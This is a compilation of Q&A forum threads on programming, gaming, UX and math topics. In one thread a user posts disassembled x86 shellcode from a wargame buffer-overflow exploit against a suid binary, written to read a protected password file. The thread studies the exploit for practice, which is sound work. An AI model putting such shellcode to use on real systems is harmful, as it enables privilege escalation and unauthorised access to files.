Create a new dataset based given operation column

Question: I am using spark-sql-2.3.1v and have the below scenario:
Given a dataset:
val ds = Seq(
  (1, "x1", "y1", "0.1992019"),
  (2, null, "y2", "2.2500000"),
  (3, "x3", null, "15.34567"),
  (4, null, "y4", null),
  (5, "x4", "y4", "0")
   ).toDF("id","col_x", "col_y","value")

i.e.
+---+-----+-----+---------+
| id|col_x|col_y|    value|
+---+-----+-----+---------+
|  1|   x1|   y1|0.1992019|
|  2| null|   y2|2.2500000|
|  3|   x3| null| 15.34567|
|  4| null|   y4|     null|
|  5|   x4|   y4|        0|
+---+-----+-----+---------+

Requirement:
I get operational column (i.e., operationCol) on which I need to perform some calculation from outside.
When performing some operations on column "col_x", I need to create a new dataset by filtering out all records which have "col_x" null values and return that new dataset.
Likewise when performing some operations on column "col_y", I need to create a new dataset by filter out all records which have "col_y" null values and return that new dataset.
Example:
val operationCol ="col_x";

if(operationCol === "col_x"){
  //filter out all rows which has "col_x" null and return that new dataset.
}

if(operationCol === "col_y"){
  //filter out all rows which has "col_y" null and return that new dataset.
}

When operationCol === "col_x" expected output:
+---+-----+-----+---------+
| id|col_x|col_y|    value|
+---+-----+-----+---------+
|  1|   x1|   y1|0.1992019|
|  3|   x3| null| 15.34567|
|  5|   x4|   y4|        0|
+---+-----+-----+---------+

When operationCol === "col_y" expected output:
+---+-----+-----+---------+
| id|col_x|col_y|    value|
+---+-----+-----+---------+
|  1|   x1|   y1|0.1992019|
|  2| null|   y2|2.2500000|
|  4| null|   y4|     null|
|  5|   x4|   y4|        0|
+---+-----+-----+---------+

How to achieve this expected output?
In other words, how can the branching of dataframe be done? How to create a new dataframe/dataset in the middle of the flow?
Answer: You can use df.na.drop() to drop rows that contains nulls. The drop function can take a list of the columns you want to consider as input, so in this case, you can write it as follows:
val newDf = df.na.drop(Seq(operationCol))

This will create a new dataframe newDf with where all rows in operationCol have been removed.
Answer: You can also use filter to filter out null values.

scala> val operationCol = "col_x" // for one column
operationCol: String = col_x

scala> ds.filter(col(operationCol).isNotNull).show(false)
+---+-----+-----+---------+
|id |col_x|col_y|value    |
+---+-----+-----+---------+
|1  |x1   |y1   |0.1992019|
|3  |x3   |null |15.34567 |
|5  |x4   |y4   |0        |
+---+-----+-----+---------+

scala> val operationCol = Seq("col_x","col_y") // For multiple Columns
operationCol: Seq[String] = List(col_x, col_y)

scala> ds.filter(operationCol.map(col(_).isNotNull).reduce(_ && _)).show
+---+-----+-----+---------+
| id|col_x|col_y|    value|
+---+-----+-----+---------+
|  1|   x1|   y1|0.1992019|
|  5|   x4|   y4|        0|
+---+-----+-----+---------+


Name Generator for .NET

Question: Has anyone written, or know of a library, that generates fairly accurate looking Western European style names?  i.e. John, Susan, Smith, Julien, April, etc., etc...
Comment: A lot of answers reference the US Census data.  Here are the updated links:
Surnames (top 1000 and those used more than 100 times): http://www.census.gov/topics/population/genealogy/data/2000_surnames.html.  Top Names: National and state level Baby names by year of birth going back to the 1800's: http://www.ssa.gov/oact/babynames/limits.html.  CSV format.
Answer: Not sure if this will work but check FakeNameGenerator it will generate names and some information as well. One at a time or in batch.
Answer: I created a .net random name generating library (dll) that uses the data from the lists mentioned by HanClinto (ie the US Census names list).  It allows you to generate first and last names or only first or last names.  Also you can generate specifically male or female names or let it randomly determine the sex of the first name.
You can try it out or download it at this blog post.
Answer: I just grab the US Census names list and select from there randomly. The male list is only 41k -- not too big, especially when compressed a bit.
Answer: If you are targeting a database, the RedGate Data Generator is a good option.
Visual Studio Database Edition also has similar functionality.
Answer: Jon Galloway wrote a post  on his blog about name generation - Generate random fake surnames
Answer: why not just grab a list of names and choose one randomly from the list? I'm doubtful that there'd be a particular way to 'generate' realistic names.
http://www.ssa.gov/OACT/babynames/
You could try using this list to produce a Markov Chain, which might yield some useful results.
Answer: The only name-generator I know of used statistical analysis to analyse names, and created new ones based on that. It wasn't exactly a 'library', but it had sample C++ code, along with the algorithm, which would probably only take an hour or two to implement; or you could compile it as C++/CLI. The samples on the page was using an arbitrary text, but if you used a bunch of names, then I'm pretty sure that it would go well.

Name Generator for .NET


Blinking cursor and black screen when trying to boot from USB

Question:
Possible Duplicate:
My computer boots to a black screen, what options do I have to fix it?

I made Ubuntu 12.04 USB stick with unetbootin. When I select my USB drive in boot menu, I immediately get a black screen and blinking cursor. What causes this?
Comment: This sounds like a bad USB image, try checking the MD5 of the download before making the USB stick.
Answer: I suggest that you make it with Linux Live USB Creator - http://www.linuxliveusb.com. If the problem still occurs try changing the flash drive.
Hope this helps.
Comment: I used Linux Live USB but still got the same problem.


When should an input's validation message show on a form that has already been submitted?

Question: So let's say that we have a form. This form has multiple inputs, many of which are required fields.
Understandably, we should not turn a required input red and show a validation message before the user has had a chance to submit a form. It is my understanding that we should wait for a form to be submitted before showing such messages.
So my question pertains to what to do after the user attempts to submit the form and the required-field validation message is shown. If the user now enters something, the required-field validation message should (in my opinion) go away before the form is submitted. However, if the user then goes back and clears out that field again, would it be proper to show the validation message again immediately (since the user has already attempted to submit the form once,) or should the required-field validation remain hidden until the user attempts to submit the form a second time?
Whether or not the required-field validation goes away once the user types something/makes a selection is not part of this question, though feel free to give your input on that as well. My main question pertains specifically to whether or not to re-show a hidden required-field validation message on a form which the user already attempted to submit, after the user has entered and then erased (selected/deselected) the input.
Comment: I think your initial premise is wrong. Warn the user as early as possible that his input is invalid.
Answer: Having validation in place to check values when the form is submitted to prevent invalid input making it to your database or whatever is always a good idea, regardless of whether or not the form was previously submitted.  If feasible, validating input as the user is filling out a form (i.e. after a user edits a field) is extremely useful as it let the user know right away there is a problem. This may not be possible/feasible from a performance perspective depending on how you are doing your validation.
Hope this helps.
Answer: A good guideline for validation is that it has to be the least strict as possible and right away. 2-steps validation as you describe combined with a very strict validation may result in the user feeling frustrated by your service.
Meaning: "Make everything as simple as possible, but not simpler"
A too strict validation may also reduce the overall elasticity of the service, an unexpected input that should be valid could result in an error to the user and this leads as said before to frustration, more clicks, more useless requests/post and as a consequence a reduced accessibility and usability of your service.
A straight away alert for validation of the user input is best for many reasons like context, there is no change of context between the filling and correction. The user can proceed in a more "light-hearted" manner, knowing that all the content already filled in is correct, at least formally. Wasted time and waiting time, the user can succeed in posting the form in a smaller number of attempts in most of the cases.

So let's say that we have a form. This form has multiple inputs, many of which are required fields.

I don't know exactly how many fields you mean with many, but I can say that the relevance of a fast mechanism to let the user know there's been a validation grows at least accordingly.

My main question pertains specifically to whether or not to re-show a hidden required-field validation message on a form which the user already attempted to submit, after the user has entered and then erased (selected/deselected) the input.

Although, from your explanation it seems like you change your strategy to alert for validation errors from post-submission to immediate, since after the first failed attempt you are undecided to alert the user straight away if her/he still skips a required field when selecting/deselecting or erasing, I guess you should pick one and be consistent, consider that if you decide to completely switch to alert beforehand submission you will also avoid this issue.
Comment: I largely agree with your reply, but not the "as strict as possible" part. When users are typing a value, let them mess around until they indicate they're "done" by attempting to move the focus. For example, if the user wants to enter 2015, and they mistyped an extra 0, allow them to type the 5 – to make it 20015 – before they go back and delete the extra 0. When software tries to beat the user at data entry, the experience is like that annoying child in class with his hand up, saying. "Oh, oh, ME, oh, OH, I know!" Nobody likes that kid, and nobody likes software that behaves that way.
Answer: This sounds like a "Visibility of system status" issue from 10 Usability Heuristics for User Interface Design
If the field is mandatory then communicate this to the user. Note that the "Error prevention" heuristic would say communicate a potential issue as early as practicable.
Now explicitly to question indicating it again, take the guidance from "Recognition rather than recall" heuristic would definitely say do not assume that user would remember if a field is mandatory.
While it may sound like a "smart UI" to react to a developing situation, vast majority of users (i.e. non-techies) prefer straightforward, repeatable, predictable and non-conditional UX.
Answer:
Would it be proper to show the validation message again immediately (since the user has already attempted to submit the form once,) or should the required-field validation remain hidden until the user attempts to submit the form a second time?

I think if the user makes the same mistake again it's because your field (and the label) with the required-field validation message are not clear for him to do the good action.
For sure, I think it's a better solution for user experience to tell "be careful" before the user is disappointed. But, as much as possible, you have to avoid error messages and adapt your solution to the user habits. So if user makes the same mistake again, I think the problem comes from your initial solution. What do you think?


I can't access special vehicles as any 3 characters in GTA 5 - PS4

Question: So this is the problem. When I wait a few moments in my garage, (not the garage connected to the house) I should expect the special vehicles directions to come up but instead it says the following 'Special vehicles can be collected here. Visit playstation@store to find new downloadable content.' WTF? What does one do in this situation?
Answer: You need to go near the opposite wall facing entrance/corner of the garage to get the menu for special cars selection.
Comment: can you please post a reason for the down vote?


I want to be able to make something like a background stopwatch?

Question: I'm kind of new to Java so please bear with me.
So I'm currently making a program where in when the user starts the program a background stopwatch/timer will run. While the timer is running the user will then input commands and those commands will display a time. I'm trying to make something like a respawn timer where the user won't see the time while it is running but when the user inputs the command of a monster it will show when it will respawn.
This program won't be having any GUI and will display everything in words.
Here is what I have right now:
        System.out.println("Start?");
    char s = in.next().charAt(0);
    if (s == 'S')
    {
        do
        {
            System.out.println("Enter camp number:");
            char cn = in.next().charAt(0);

            if (cn == 'A')
                System.out.println("Raptor's respawn time is at " + min + ":" + sec + "\n");
            else if (cn == 'B')
                System.out.println("Wolf's respawn time is at " + min + ":" + sec + "\n");
            else if (cn == 'X')
                {
                    x = true;
                    System.out.println("Thank you for using my program!");
                }
            else
                System.out.println("Invalid input");
        }
        while (!x);
    }
    else
        System.out.println("Invalid input, please restart program.");
}

So when the user inputs S the timer/stopwatch will start running and when the user inputs either A or B the program will display the time they will respawn.
Advance thank you! :D
Comment: Are `min` and `sec` variables that you keep modifying? Do you read them from the keyboard at the beginning?
Comment: Yes. `min` and `sec` will be modified in each if statements.
Answer: You can do something like this:
Calendar c = Calendar.getInstance();
int hrs = c.get(Calendar.HOUR);
int mnts = c.get(Calendar.MINUTE);
int secs = c.get(Calendar.SECOND);

Then you can print the re-spawn time by printing
System.out.printf("Monster will respawn in %d minutes and %d seconds", mnts+min, secs+sec);

Of course you will also have to do some validation, like if secs+sec gives you more than 60, add one to the minutes and keep the remaining amount for the seconds.
Comment: This isn't what I'm looking for but I used some of the codes you inputted which would start the time and get the current time. But it keeps on saying that start_time and current_time should be in long rather than in int. But if I convert it to long the time shown will become 1417716395:1417716295, I don't know what happened.
Comment: Oh yes, sorry, it should be long - I will modify my answer. It returns the number of seconds spent from January 1st, 1970, so that's why it looks like a large number. Did you want the calendaristic current time? Something like 3:14:15 pm?
Comment: I modified my answer again. Is that what you are looking for?
Comment: Thank you very much! It's working just as I intended it to be. Thank you again.


Is there a way to get a filtered list of questions I have asked that have answers, none of which I have accepted?

Question: Like the title says, I'd like to get an overview of all the questions which have answers that I have not yet accepted.  Is there a way to do this?
Answer: Sure :)
Search for:

user:me hasaccepted:0 answers:1

answers:1 means questions with at least 1 answer, not 1 answer in total.
Advanced Super Ninja Search Options
Comment: Wow, what a great list of search options.  And to think I had been drilling down my list of questions manually...
Comment: Yeah I used to do the same thing until someone on MSO pointed me to that page. Oh the wasted minutes...


Azure Runbook - Input Blade

Question: I don't want the input blade (highlighted below) to be visible in my runbook job because I am passing some secrets or password as parameters to execute my runbook. If something else clicks input tile available under my runbook job or look over my shoulders my secrets will be revealed, so how do I disable input blade/tiles shown below?
If no options to hide the input blade then how to pass secrets as parameter to webhook runbook parameter? encryption/decryption or anything more relevant?
Answer: As I know, there is no way to hide the input blade. Even if one day the Azure release a new feature which you can use to hide the blade(if it exists, I think there also will be an option to show the blade again), your behavior will make no sense, the global admin can manage all the subscriptions in your tenant. If the global admin insists to see your input, he can access his goal anyway.
Some docs for you to refer:

https://learn.microsoft.com/en-us/azure/role-based-access-control/rbac-and-directory-admin-roles
https://learn.microsoft.com/en-us/azure/role-based-access-control/elevate-access-global-admin
Comment: mentioned global admin as an example but over all needs is there any way to hide or remove input blade using power shell or rbac??
Comment: @thiru No, you could not hide or remove it. The closest way I can find is to pass the password as a securestring, but unfortunately it is not supported currently, this is the  feedback, you can vote for it : https://feedback.azure.com/forums/246290-automation/suggestions/11442894-make-securestring-a-supported-input-type-for-runbo

Azure Runbook - Input Blade


How do I avoid switching WCF endpoint when I deploy from localhost --> server?

Question: Right now I need to keep changing the line below. Is there a programmatic way to check if I am running the site locally vs. on production ?
The closest I got was this post but it seems to be referring to Silverlight and I am just calling from an asp.net site.
Silverlight application cannot accesss WCF services on other machines
<code><client>
  <endpoint address="http://www.punkoutersoftware.com/Service1.svc"
    binding="basicHttpBinding" bindingConfiguration="BasicHttpBinding_IService1"
    contract="ServiceReference1.IService1" name="BasicHttpBinding_IService1" />
</client>
</code>
Comment: I ended up doing the really simple #DEBUG way... eventually Ill use web.config transformations.. almost the same
Answer: Is this for an ASP.NET application?  If so, consider using VS2010's Web.config Transformation, which can alter your web.config based on your build type (Release, Debug, etc).

Here's a better introductory tutorial
Answer: A very similar situation is covered here: How to programmatically modify WCF app.config endpoint address setting?


How to get the number of columns from a JDBC ResultSet?

Question: I am using CsvJdbc (it is a JDBC-driver for csv-files) to access a csv-file. I don't know how many columns the csv-file contains. How can I get the number of columns? Is there any JDBC-function for this? I can not find any methods for this in java.sql.ResultSet.
For accessing the file, I use code similar to the example on the CsvJdbc website.
Answer: You can get columns number from ResultSetMetaData:
Statement st = conn.createStatement();
ResultSet rs = st.executeQuery(query);
ResultSetMetaData rsmd = rs.getMetaData();

int columnsNumber = rsmd.getColumnCount();

Comment: It would be interesting to understand how the CSV JDBC driver and it's `ResultSetMetaData` implementation handles variable length CSV records. e.g. If you specified `SELECT * FROM sample` and each row contained a different number of fields, would the column count get re-evaluated for each row that were iterated over?
Comment: @rhu That's easy. It wouldn't, because the metadata is independent of which row you're on. So presumably it is the maximum number of columns found.
Answer: PreparedStatement ps=con.prepareStatement("select * from stud");

ResultSet rs=ps.executeQuery();

ResultSetMetaData rsmd=rs.getMetaData();

System.out.println("columns: "+rsmd.getColumnCount());
System.out.println("Column Name of 1st column: "+rsmd.getColumnName(1));
System.out.println("Column Type Name of 1st column: "+rsmd.getColumnTypeName(1));

Comment: Shouldn't that be rsmd.getColumnName(1) and rsmd.getColumnTypeName(1) ? We're printing the "1st column", not the 2nd one.
Comment: Does somebody know? Is `rs.getMetaData()` method expensive? Does it query the database each time its called or not?
Comment: The `rs.getMetaData()` call can be intensive; but once you have the object `rsmd` then usually no additional calls to the database are done when invoking methods on the metadata object; all the metadata is populated with the getMetaData call.
Answer: Number of a columns in the result set you can get with code (as DB is used PostgreSQL):

//load the driver for PostgreSQL
Class.forName("org.postgresql.Driver");

String url = "jdbc:postgresql://localhost/test";
Properties props = new Properties();
props.setProperty("user","mydbuser");
props.setProperty("password","mydbpass");
Connection conn = DriverManager.getConnection(url, props);

//create statement
Statement stat = conn.createStatement();

//obtain a result set
ResultSet rs = stat.executeQuery("SELECT c1, c2, c3, c4, c5 FROM MY_TABLE");

//from result set give metadata
ResultSetMetaData rsmd = rs.getMetaData();

//columns count from metadata object
int numOfCols = rsmd.getColumnCount();

But you can get more meta-informations about columns:
for(int i = 1; i <= numOfCols; i++)
{
    System.out.println(rsmd.getColumnName(i));
}

And at least but not least, you can get some info not just about table but about DB too, how to do it you can find here and here.
Answer: After establising the connection and executing the query try this:
 ResultSet resultSet;
 int columnCount = resultSet.getMetaData().getColumnCount();
 System.out.println("column count : "+columnCount);

Answer: This will print the data in columns and comes to new line once last column is reached.
ResultSetMetaData resultSetMetaData = res.getMetaData();
int columnCount = resultSetMetaData.getColumnCount();
for(int i =1; i<=columnCount; i++){
                if(!(i==columnCount)){

                    System.out.print(res.getString(i)+"\t");
                }
                else{
                    System.out.println(res.getString(i));
                }

            }


PTRACE_TRACEME without parent

Question: I'm trying for fun to exploit a code which uses ptrace to prevent debugging.  This executable is suid, therefore there's no use in cracking it.
It have also the stack segment executable. This executable is made for playing. After I found my self a vulnerability in it, I tried buffer overflow it. I wrote a shellcode which launches a shell, and with my surprise it hangs. (BASH reports the process have been stopped) After some tests, I ended up to the conclusion that ptrace do not only prevents debugging, but it also prevents my shellcode to get executed.
Reading about ptrace, I found that a process which invokes ptrace(PTRACE_TRACEME,0,1,0) will be stoped as soon as it invokes the syscall exec. So I changed strategy, since ptrace will stop the process as soon as it launches an executable, I tried a shellcode which reads a file. My objective is not launch a shell, but instead read a file which my user have no permission. At last, this code also hanged.
Can anyone explain me why my code, in spite it contains no exec call, it gets hanged?
Is there any way to stop the ptrace from within the process itself?
In my case, ptraced process have no parent, and it is running with higher privileges, cause the suid, how can it be controlled?
Here my code which should not contains any exec.
Here my shell code:
0:  31 c0                   xor    eax,eax
2:  31 db                   xor    ebx,ebx
4:  31 c9                   xor    ecx,ecx
6:  31 d2                   xor    edx,edx
8:  eb 38                   jmp    0x42
a:  5b                      pop    ebx
b:  c6 43 13 01             mov    BYTE PTR [ebx+0x13],0x1
f:  fe 4b 13                dec    BYTE PTR [ebx+0x13]
12: b0 05                   mov    al,0x5
14: 31 c9                   xor    ecx,ecx
16: cd 80                   int    0x80
18: 89 c6                   mov    esi,eax
1a: eb 06                   jmp    0x22
1c: b0 01                   mov    al,0x1
1e: 31 db                   xor    ebx,ebx
20: cd 80                   int    0x80
22: 89 f3                   mov    ebx,esi
24: b0 03                   mov    al,0x3
26: 83 ec 01                sub    esp,0x1
29: 89 e1                   mov    ecx,esp
2b: b2 01                   mov    dl,0x1
2d: cd 80                   int    0x80
2f: 31 db                   xor    ebx,ebx
31: 39 c3                   cmp    ebx,eax
33: 74 e7                   je     0x1c
35: b0 04                   mov    al,0x4
37: b3 01                   mov    bl,0x1
39: b2 01                   mov    dl,0x1
3b: cd 80                   int    0x80
3d: 83 c4 01                add    esp,0x1
40: eb e0                   jmp    0x22
42: e8 c3 ff ff ff          call   0xa
47:                         db '/home/level8/passwd'

Comment: Most likely it crashed, BUT when a process is being ptraced, then when it crashes it tells the tracer first, but in this case the tracer is the same process, so it's a deadlock.
Comment: @Alessandro: It is not a critic or anything like this, just an advice, but this question would be more suitable on [RE.SE](https://reverseengineering.stackexchange.com/) (I am shamelessly making some advertisement for RE.SE! :)).
Answer: I believe you have a core misunderstanding of how ptrace works.
When the process stops after calling execve, that is a good thing. It means your debugger gets a chance to change things around, both before and after the execve.
It seems to me like you wrote ptrace(PTRACE_TRACEME) in the child, but you have not implemented any of the parent side support you should have. As a result, as soon as ptrace is trying to notify the debugger of an event, your process stops and never restarts.

PTRACE_TRACEME without parent


How to get scholars and scribes to write something?

Question: I'm attempting to try the new writing system in Dwarf fortress, I have now for about 2 years had 2 scribes and about 6 scholars. They have access to about 10 empty scrolls and 10 empty quires. They also have 8 tables and chairs in the library and 2 of the scholars and one of the scribes is dedicated (no other jobs). The dedicated scribe is a proficient (very rusty) writer and the scholars have a variety of proficiency levels in various scholarly topics.
However, thus far they have failed to write a single scroll, produce a single book or even write on a single quire. Any idea what could be wrong?
Answer: Scholars ponder, discuss and research, and write new works. Scribes only copy existing works. You'll probably want to focus on scholars more initially, since the scribes can't do any copying until there's something to copy.
This forum post has some good experimental findings on scholars and scribes.

Scholars seem to use the Writer skill to create new works.
Scribes seem to use the Reader or Student skill, rather than Writer or Wordsmith, as you might expect.
A typical scholar will only write a book every other season.
Allowing everyone entrance to the library lets visiting scholars enter, who may write things for you.

Based on this guy's findings, I would suggest you make sure your scholars are as proficient in the Writer skill as possible. Make sure your library is open to visitors and they might write something (which your scribes could then copy).


Button Click inside update panel causes post Back

Question: I want to cause a page post back  when a button is clicked that is inside an update panel.
I attach you my code. The button I want to cause the post back is the btnUpdate. My goal is when the operation completed inside the modal popup, the gridview which is outside the modal popup to be updated.
The major problem is that I have multiple content place holders inside the same modal popup and I want to run asynchronous.
<code> <asp:Panel ID="Panel1" runat="server"></asp:Panel>
    <asp:Button  ID="btnShowPopup" runat="server" style="display:none" />

              <asp:ModalPopupExtender ID="ModalPopupExtender1" PopupDragHandleControlID="Panel1" RepositionMode="None" runat="server" PopupControlID="pnlpopup"
TargetControlID="btnShowPopup" CancelControlID="btnCancel"
    DropShadow="true"
 BackgroundCssClass="modalBackground">

        </asp:ModalPopupExtender>

        <asp:Panel ID="pnlpopup" runat="server" BackColor="LightGray" style="display: none"
             CssClass="modalPopup" Width="650px" >
               <asp:UpdatePanel ID="UpdatePanel3" UpdateMode="Conditional" runat="server">
                                <ContentTemplate>
             <asp:PlaceHolder ID="PlaceHolder1" Visible="false" runat="server">
 <asp:Button ID="btnUpdate" ValidationGroup="r" runat="server" Height="30px" Width="160px" CommandName="Update"
                                          OnClick="btnUpdate_Click" Text="Save"
                                          Visible="False" />

                                      <asp:Button ID="Button5" runat="server" ValidationGroup="r" Height="30px" Width="160px" onclick="Button5_Click" Text="Save"
                                          Visible="False" />
</asp:PlaceHolder>
                          <asp:PlaceHolder ID="PlaceHolder2" Visible="false" runat="server">
                     <asp:UpdatePanel ID="UpdatePanel1" runat="server">
                     <ContentTemplate>
<asp:Button ID="btn1" ValidationGroup="a" runat="server" Height="30px" Width="160px" CommandName="Update"
                                          OnClick="btn1_Click" Text="Save"
                                          Visible="False" />
                     </ContentTemplate>
                     </asp:UpdatePanel>
                        </asp:PlaceHolder>
</code>
Answer: use
<code>              <asp:UpdatePanel ID="UpdatePanel2" runat="server" UpdateMode="Conditional">
                        <ContentTemplate>
                        <%--Content that you want to update on Button1 or Button2--%>//write content that you want to update
                        </ContentTemplate>
                        <Triggers>
//trigger asyn event of control and it's event
                        <%--asp:AsyncPostBackTrigger  events of control on which this content should update--%>
                            <asp:AsyncPostBackTrigger ControlID="Button1" EventName="Click" />
                            <asp:AsyncPostBackTrigger ControlID="Button2" EventName="Click" />
                        </Triggers>
                    </asp:UpdatePanel>
</code>
for more information http://msdn.microsoft.com/en-us/library/bb399001%28v=vs.100%29.aspx


OCIDefineArrayOfStruct() or OCIBindArrayOfStruct equivalent in PostgreSQL

Question: I am currently working updating client side code from OCI to libq. I am aware that OCIDefineArrayOfStruct() and OCIBindArrayOfStruct() are used to improve performance by enabling multi-row, multi-column fetch.
Is there any way to do same using libpq?.
Answer: PostgreSQL does not have a concept of bulk fetch or bulk DML statements that uses arrays on the client side.
To fetch rows in batches, use a cursor and the FETCH statement. All fetched rows are returned in a single PGresult, and you can iterate through them conveniently.  To insert rows in batches, use a multi-line INSERT statement or COPY.
You will have to rewrite code that uses the C API from scratch, because the C APIs of Oracle and PostgreSQL are quite different. The good news is that PostgreSQL's API is much more convenient than the Byzantine OCI.


onTouch event sometimes not firing ACTION_POINTER_DOWN

Question: I'm trying to implement pinch-zoom in an app I'm making and am having issues with the onTouch event. It appears that the pointer up & down actions do not fire immediately, like you won't get a pointer up or down until an action move occurs. So what happens if both fingers hit the screen nearly simultaneously is that the 2nd finger (should be pointer(1)) gets a move action before pointer down is called, making the code think it's a DRAG not a pinch zoom. Anyone else seen this? Anyway around it? Thanks.
Answer: be sure to include MotionEvent.ACTION_MASK in your switch. For example:
switch(event.getAction() & MotionEvent.ACTION_MASK){
case MotionEvent.ACTION_DOWN:
some code
break;
case MotionEvent.ACTION_POINTER_DOWN:
ETC

Comment: You can use ready-made support method for that: `MotionEventCompat.getActionMasked(event)`
Comment: WOW! This actually solved my problem! I can't figure out why... but hey! Thanks :D
Comment: You da real mvp @tayler!
Comment: you saved my day dear.. thnxx a lot !
Comment: You saved my day.
Comment: The real question is why we have to mask it anyways?
Answer: Turned out to be a problem with the Custom ROM I had flashed to my Evo. Thanks again to hara for their advice as that turned out to be another bug I had.
Answer: faced the same issue
turned out that ACTION_POINTER_2_DOWN was being fired in my app when i touched the second finger and after that ACTION_MOVE was fired
the getAction() method gives the event number which needs to be checked against this list
Answer: I had the same issue in my project. If i touch the screen and my fingers are too close togheter the system doesn't realize a multitouch event. I think that is because when your fingers are too close togheter the system sees it as a single finger.
Maybe you can check this assumption using getSize() method to estimate the area of the screen being pressed when you touch the screen with a single finger and when you touch the screen with two finger close togheter.
Comment: Thanks for the advice, that will come in handy I'm sure. But I'm not sure that's my problem as it occurs no matter where I touch the screen. Using the debugger I can see that the pointer up and down events seem to always be delayed, and occur after a move event (and the move event always just has a single pointer in that instance). I even tried the "Dotty" app and could see same behavior in it. Could it be a hardware issue? I have an Evo w/ custom ROM. Thanks.
Answer: I have solved the same issue with this:
switch(event.getActionMasked()) {
   case MotionEvent.ACTION_POINTER_DOWN:
      //your code
   break;
}

Answer: I've noticed that this(MotionEvent.ACTION_POINTER_DOWN) case being fired if onTouch(event) method has returned as true as given below:
@Override
public boolean onTouchEvent(MotionEvent event) {

    switch(motionEvent.getAction() & MotionEvent.ACTION_MASK) {
       case MotionEvent.ACTION_POINTER_DOWN:
        //your code
       break ;
    }
    return true;
}

Note:
MotionEvent.ACTION_DOWN only getting listened if onTouch() method has returned a boolean value as return super.onTouchEvent(event); so make sure as true to avoid this situation.
Answer: @taylers answer in Kotlin
when (event.actionMasked and event.action) {
    MotionEvent.ACTION_DOWN -> {
        Some code
        This is fired when first finger touches screen.
    }
    MotionEvent.ACTION_POINTER_DOWN -> {
        Some code
        This is fired when second finger touches the screen.
    }
    MotionEvent.ACTION_UP -> {
        Some code
        This is fired when first finger is lifted.
    }
    MotionEvent.ACTION_POINTER_UP -> {
        Some code
        This is fired when second finger is lifted.
    }
}


remove the space between words when the strings ends with a number in sql

Question: The length of my character is 30.
I got to remove the last space from the string if it ends with a number .
Eg.
COADC Cathy & Ralph Ward Jr 73                                                                                should be COADC Cathy & Ralph WardJr73
and not COADCCathy&RalphWardJr73
Tried regexp_like to get the strings that end with numbers and then tried trim() and replace() spaces but did not work out. is there any other function?
Comment: Your example removes two spaces.
Comment: sorry . i missed to add . If length is 30 must remove 2 spaces from the end. If length is 29 must remove 1 space
Comment: @arsha, I updated my answer considering your comment.
Answer:
remove the last space from the string if it ends with a number .

You can use regexp_replace():
select regexp_replace(str, ' ([0-9]+$)', '\1')
from (select 'COADC Cathy & Ralph Ward Jr 73' as str from dual) x;

[Here][1] is a db<>fiddle.
Note that your example removes the last two spaces.  This example is following your description, not your example.  It also interprets "ends with a number" as "only digits follow the last space".
[1]: https://dbfiddle.uk/?> remove the last space from the string if it ends with a number .
rdbms=oracle_11.2&fiddle=995e20520454ee8ffb8030ab156f7431
Comment: is it possible to replace last 2 spaces using regexp_replace()
Comment: if i just have to remove spaces from the string only considering the length irrespective of ending with a number. how will regexp_replace work ?
Comment: @arsha . . . I think you should ask a *new* question with a clearer definition and examples.
Answer: declare @s varchar(100)
set @s = 'COADC Cathy & Ralph Ward Jr 73'

set @s = case
            when  isnumeric(right(@s, 1)) = 1 and len(@s) = 30 then reverse(STUFF(reverse(@s), PATINDEX('% %', reverse(@s)), 1, ''))
            else @s
        end

set @s = case
            when  isnumeric(right(@s, 1)) = 1 and len(@s) = 29 then reverse(STUFF(reverse(@s), PATINDEX('% %', reverse(@s)), 1, ''))
            else @s
        end

select @s, len(@s)

When you run this query for the first time, it will remove one last space from all strings that are 30 characters long and end with a numbers.
After that simply change len(@s) = 30 to len(@s) = 29 and run it again.
It is not perfect solution, but I don't see any reason for it not to work.
Comment: @arsha I believe you could use `regexp_replace` part from Gordon's answer. Point is to run it twice, first time to remove last space from all 30s and make them 29s, and the second time to remove last space from all 29s.
Comment: i am using sql developer . it does not support stuff


Present Worth with Salvage Value

Question: I would like to know how to consider the "Salvage Value" in the following question while calculating the present and future values.
here is the question:
We are planning to build a new bridge. Construction is to start in 2015 and is expected to take 4 years at a cost of $25 million per year.
After construction is completed, the cost of operation and maintenance is expected to be $2.5 million for the first year, and increase by 2.8% per year thereafter.
The salvage value of the bridge at the end of year 2048 is estimated to be $5 million.
Consider the present to be the end of 2013/beginning of 2014 and the interest rate to be 8%.
a- Draw a cash flow diagram for this project (from present till end of year 2048)
b- find the Present Worth
c- find the Future Worth
HERE IS WHAT I DID:
we need to find P2013 (Present Worth at this time)
P2013 = P2015 (1+i)^n = P2015 (1+0.08)^2
P2015 = A1 (P1|A1 8%,33) + A2 (P2|A2 2.8%,8%,29)
P2015 = $ 324,433,747.65
P2013 = P2015 (1+0.08)^2 = $ 378,419,523.26
Now the question is where to consider the $5 million salvage value in this formula? Is my calculation correct?
Answer: I would calculated the future value at the end of the year 2048 ($C_{2048}$) an and after that I would calculate the present value.
Construction costs:
The construction period goes from 2015 to 2018. $C_{2018}^C=25,000,000\cdot \frac{1-1.08^4}{1-1.08}$
$C_{2048}^C=25,000,000\cdot \frac{1-1.08^4}{1-1.08}\cdot 1.08^{48-18}=25,000,000\cdot \frac{1-1.08^4}{1-1.08}\cdot 1.08^{30}$
Costs of operation and maintanace
It has to be made 30(=48-19+1) payments. And the formula with increasing payments is
$C_n=r \cdot \frac{g^n-q^n}{g-q}$
$C_{2048}^{OM}=2,500,000\cdot \frac{1.028^{30}-1.08^{30}}{1.028-1.08}$
salvage value
The salvage value at 2048 is just $P_{2048}^S=5,000,000$
The value of all cash flows in 2048 is $C_{2048}^T=-C_{2048}^C-C_{2048}^{OM}+C_{2048}^S$
The value of all cash flows at the beginning of 2014 is $P_{2014}^T=\frac{C_{2048}^T}{1.08^{48-14}}$
Comment: thank you so much.So the Future Worth will be negative, is the Present Worth negative as well?
Comment: @VahidGarshasbi Sure. This is always the case. The general equation is $PW=\frac{FW}{(1+i)^t}$. $1+i$ is always positive. If the Future Worth is negative, then the Present Worth is negative as well. If If the Future Worth is positive, then the Present Worth is positive as well. That is one the reason, why you can judge a project by using the net present value method.
Comment: @VahidGarshasbi You are welcome.

Present Worth with Salvage Value


Prove reflection property of parabola

Question: Problem from Calculus with Analytic Geometry 2nd ed. from Simmons, page 87/21(c).
Let $p$ be a positive constant and consider the parabola $x^2 = 4py$ with vertex at the origin and focus at the point $(0, p)$. Let $(x_0, y_0)$ be a point on this parabola other than the vertex. Assume we've proved

tangent at $(x_0, y_0)$ has $y$-intercept $(0, -y_0)$
triangle with vertices $(x_0, y_0), (0, -y_0), (0, p)$ is isosceles.

